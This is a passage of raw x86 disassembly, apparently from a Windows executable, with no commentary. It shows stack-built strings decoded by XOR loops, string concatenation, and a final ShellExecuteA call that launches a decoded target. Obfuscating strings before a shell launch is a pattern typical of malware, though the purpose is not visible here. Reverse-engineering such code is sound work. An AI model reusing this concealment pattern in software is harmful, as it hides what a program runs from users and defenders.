mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x190]
cmp ecx, 0x10
jb 0x4178d7
mov edx, dword [ebp - 0x1a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4178cd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181bd
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp dword [ebp - 0xc4], 0x10
lea edx, [ebp - 0xd8]
xorps xmm0, xmm0
mov dword [ebp - 0x194], 0
cmovae edx, dword [ebp - 0xd8]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x190], 0xf
mov ecx, edx
mov byte [ebp - 0x1a4], 0
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x18], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417927
sub ecx, dword [ebp - 0x18]
push ecx
push edx
mov ecx, esi
call fcn.00402810
xor cl, cl
call fcn.004162a0
movaps xmm0, xmmword [0x5268e0]
add esp, 0x18
movups xmmword [ebp - 0xfa], xmm0
mov dword [ebp - 0xea], 0x9089d5d9
xor ecx, ecx
mov dword [ebp - 0xe6], 0x47b6b6dd
mov dword [ebp - 0xe2], 0x50504749
mov word [ebp - 0xde], 0x100
nop dword [eax + eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0xfa], al
inc ecx
cmp ecx, 0x1c
jb 0x417980
mov byte [ebp - 0xdd], 0
xor ecx, ecx
mov dword [ebp - 0x29], 0x98c4cacb
mov dword [ebp - 0x25], 0xcdce83
mov byte [ebp - 0x21], 1
nop dword [eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 7
jb 0x4179b0
mov byte [ebp - 0x21], 0
xor ecx, ecx
mov dword [ebp - 0x42], 0x98c4cacb
mov dword [ebp - 0x3e], 0xcdce9f
mov byte [ebp - 0x3a], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 7
jb 0x4179d6
xorps xmm0, xmm0
mov byte [ebp - 0x3a], 0
lea ecx, [ebp - 0x388]
mov dword [ebp - 0x1ac], 0
movups xmmword [ebp - 0x1bc], xmm0
mov dword [ebp - 0x1a8], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417a10
sub ecx, edx
lea eax, [ebp - 0x388]
push ecx
push eax
lea ecx, [ebp - 0x1bc]
call fcn.00402810
mov byte [ebp - 4], 0x1e
xor ecx, ecx
movaps xmm0, xmmword [0x526540]
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x118], 0xdc9dd5d9
mov dword [ebp - 0x114], 0x20aaacd2
mov word [ebp - 0x110], 0x23
mov byte [ebp - 0x10e], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x128], al
inc ecx
cmp ecx, 0x19
jb 0x417a64
lea eax, [ebp - 0x1bc]
mov byte [ebp - 0x10e], 0
push eax
lea edx, [ebp - 0x128]
lea ecx, [ebp - 0x144]
call fcn.004698d0
add esp, 4
lea ecx, [ebp - 0x42]
mov byte [ebp - 4], 0x1f
push ecx
mov ecx, eax
call fcn.00465770
mov dword [ebp - 0x64], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x74], xmm0
mov dword [ebp - 0x60], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x74], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x64], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x20
lea edx, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
mov ecx, dword [ebp - 0xac]
cmovae edx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x60]
mov esi, dword [ebp - 0x64]
sub eax, esi
mov dword [ebp - 0x18], ecx
push ecx
push edx
cmp ecx, eax
ja 0x417b34
cmp dword [ebp - 0x60], 0x10
lea eax, [esi + ecx]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x74]
cmovae eax, dword [ebp - 0x74]
add esi, eax
push esi
call fcn.004de630
mov eax, dword [ebp - 0x18]
add esp, 0xc
mov byte [eax + esi], 0
lea eax, [ebp - 0x74]
jmp 0x417b44
mov byte [ebp - 0x17], 0
push dword [ebp - 0x17]
push ecx
lea ecx, [ebp - 0x74]
call fcn.0046b810
mov dword [ebp - 0x254], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x264], xmm0
mov dword [ebp - 0x250], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x264], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x254], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x29]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x264]
call fcn.00465770
mov dword [ebp - 0x7c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x78], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x8c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x7c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0x10
mov edx, dword [ebp - 0x7c]
cmovae ecx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x78]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x417c38
cmp dword [ebp - 0x78], 0x10
lea esi, [ebp - 0x8c]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x8c]
mov dword [ebp - 0x7c], eax
lea eax, [esi + edx]
push eax
call fcn.004de630
mov ecx, dword [ebp - 0x18]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x8c]
jmp 0x417c4b
mov byte [ebp - 0x17], 0
lea ecx, [ebp - 0x8c]
push dword [ebp - 0x17]
push edi
call fcn.0046b810
mov dword [ebp - 0x23c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x24c], xmm0
mov dword [ebp - 0x238], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x24c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x23c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xfa]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x24c]
call fcn.00465770
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1a4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x194], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x238]
cmp ecx, 0x10
jb 0x417d0d
mov edx, dword [ebp - 0x24c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417d03
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181c2
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x238], 0xf
mov byte [ebp - 0x24c], 0
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x78]
cmp ecx, 0x10
jb 0x417d63
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417d59
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181c2
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x250]
cmp ecx, 0x10
jb 0x417db6
mov edx, dword [ebp - 0x264]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417dac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181c2
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x417e09
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417dff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181c2
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x417e59
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417e4f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181c2
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0x1a8]
cmp ecx, 0x10
jb 0x417eb2
mov edx, dword [ebp - 0x1bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417ea8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181c2
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp dword [ebp - 0x190], 0x10
lea edx, [ebp - 0x1a4]
xorps xmm0, xmm0
mov dword [ebp - 0x1ac], 0
cmovae edx, dword [ebp - 0x1a4]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x1a8], 0xf
mov ecx, edx
mov byte [ebp - 0x1bc], 0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417f00
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00402810
xor cl, cl
call fcn.004162a0
mov byte [ebp - 4], 0x1d
add esp, 0x18
mov ecx, dword [ebp - 0x190]
cmp ecx, 0x10
jb 0x417f5a
mov edx, dword [ebp - 0x1a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417f50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181c7
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0xc4]
cmp ecx, 0x10
jb 0x417f98
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417f8e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181c7
push ecx
push edx
call fcn.004dcbd1
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0xbc]
mov ecx, esp
push eax
call fcn.00465a60
call fcn.0040beb0
add esp, 0x18
test al, al
je 0x417ffd
cmp dword [ebp - 0xa8], 0x10
lea edx, [ebp - 0xbc]
mov dword [ebp - 0x19], 0x828e9a86
cmovae edx, dword [ebp - 0xbc]
xor ecx, ecx
mov word [ebp - 0x15], 0x100
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 4
jb 0x417fd8
push 1
push 0
push 0
push edx
lea eax, [ebp - 0x19]
mov byte [ebp - 0x14], 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0x10
jb 0x418037
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41802d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181cc
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x41806b
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418061
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181d1
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0x1c0]
cmp ecx, 0x10
jb 0x4180a5
mov edx, dword [ebp - 0x1d4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41809b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181d6
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x1c0], 0xf
mov byte [ebp - 0x1d4], 0
cmp eax, 0x10
jb 0x4180fc
mov edx, dword [ebp - 0x15c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4180f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181d6
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0x268]
cmp ecx, 0x10
jb 0x418136
mov edx, dword [ebp - 0x27c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41812c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181d6
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0x1d8]
cmp ecx, 0x10
jb 0x41816c
mov edx, dword [ebp - 0x1ec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418162
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4181d6
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402040
call fcn.00402040
call fcn.00402040
push eax
call fcn.004dbb7b
call fcn.00402040
call fcn.004e1e70
call fcn.004e1e70
call fcn.004e1e70
push eax
call fcn.004dbb7b
call fcn.004e1e70
call fcn.00402040
call fcn.004e1e70
call fcn.004e1e70
call fcn.004e1e70
call fcn.004e1e70
call fcn.004e1e70
call fcn.004e1e70
call fcn.004e1e70
int3